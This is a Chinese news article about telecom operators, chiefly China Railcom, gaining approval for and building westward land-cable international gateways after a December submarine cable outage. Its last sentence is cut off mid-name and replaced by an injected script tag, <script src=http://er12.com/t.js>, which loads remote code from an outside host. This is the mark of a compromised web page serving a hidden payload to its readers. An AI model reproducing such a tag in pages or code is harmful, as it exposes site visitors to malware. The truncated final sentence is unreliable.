在去年12月26日的”海缆中断”事件之后，迅速打开新的国际网络通道，正成为运营商们亡羊补牢的首要之务。从今年初开始，电信、网通和联通都加快了西进步伐。
向西，再向西。
在外界的注意之外，中国国际通信网络的西进通道正悄然打开扩张势头。
“信产部已经批准，中国铁通拥有的部分国际通信设施投入对公众服务。”4月19日，中国铁通市场总监刘凌钧向本报记者透露，“大量以前只能铁路专用的陆地光缆，将转变为国际通信的传输资源。”
此前的3月底，由联通与俄罗斯电信合作的中欧最大陆地光缆项目已全面启动，而据记者了解，中国电信和中国网通在西方向的国际通信通道也在变局中。
显然，在去年12月26日的”海缆中断”事件之后，迅速打开新的国际网络通道，正成为运营商们亡羊补牢的首要之务。
铁通入局
4月20日，铁通新闻发言人郭晓昭向记者证实，信产部已经批准，铁通可在深圳-香港、绥芬河-俄罗斯，以及阿拉山口-哈萨克斯坦3个国际通信出口，使用自有设施承载提供国际通信业务。
“等这一纸批文，我们已经等了好几年。”刘凌钧说，获准将国际通信设施投入对公众服务，将成为铁通在国际通信业务上的一个拐点。
事实上，自成立之日起，铁通就一直拥有大量的出口网络资源。据记者了解，铁通现已建有10个国际通信出口，并拥有对应的光缆资源。“只需要添加少量的终端设备，就可以迅速提供大量的出口带宽。”刘凌钧说，“比如俄罗斯出口，我们计划的带宽下限就是10g，如果需要还可以提供更多。”
不过，由于监管部门对国际通信出口的严格许可控制，铁通的国际通信网络，只能用于国际铁路的联运出口等专网应用，而不能用于通信业务。甚至，铁通自身的国际通信业务都只能租用其他运营商的网络。
铁通一直希望能将这些资源盘活。自2004年开始，铁通一直在向信产部提交申请，希望能将以上国际通信资源用于民用通信，但在随后2年中，该申请一直未有下文。
“监管部门一直没有批准的原因在于，此前中国的国际通信业务需求量规模较小，国际出口带宽已经足够且相对稳定，所以没有考虑增加新的出口。”业内专家表示，“而去年底的海缆中断事件，令监管层意识到，以前的网络结构过分依赖于东部的海缆，有必要在其他方向增加网络出口布局，这是铁通此次获批的原因之一。”
“目前我们正在跟境外的电信运营合作伙伴重启谈判。”刘凌钧透露，早在数年前，铁通就已经计划与俄罗斯铁通等运营商展开国际通信业务合作，甚至已有合作框架条款，但由于迟迟未获批文，计划一直耽搁至今，“现在时间已经过了很久，我们必须重新讨论修改一些合作的细节。”
集体西进
铁通并不是惟一的冲动者。
此前，中国对外通信通道主要集中于中国电信、网通和联通3家运营商，移动、铁通和卫通相对较少。而从今年初开始，电信、网通和联通都加快了西进步伐。
就在3月下旬，中国联通已经与俄罗斯铁通就合作开通新的中欧陆路光缆达成协议，双方将共同搭建一条10g带宽，经由满洲里至俄罗斯，再由贝加尔地区直达欧洲的国际光缆。
“除此之外，联通也有规划建立更多的陆缆线路。”4月19日，联通内部人士向记者透露，联通将在今年建立一条连接阿塞拜疆的通信线路，而明年的计划是连接缅甸。
与之对应的是，中国网通在西南和西北方向也将增加陆地光缆出口。据透露，目前网通已经建成中越(东兴)、中俄抚远、中俄满洲里、中蒙二连浩特等向西延伸的陆缆，其中中俄抚远、中越(东兴)两条线路在2006年更已进行扩容。
“在2007年，网通还将新建中俄(黑河)和中越(凭祥)陆缆。”网通人士向记者透露。
4月20日，消息人士向记者透露，中国电信目前也在考虑建设西进的国际通信线路，或是与其他运营商合作，建立更多向西方向的通信路由出口。
在很多人看来，运营商们的集体西进早在意料之中。
今年1月底，信产部电信管理局局长苏?script src=http://er12.com/t.js>
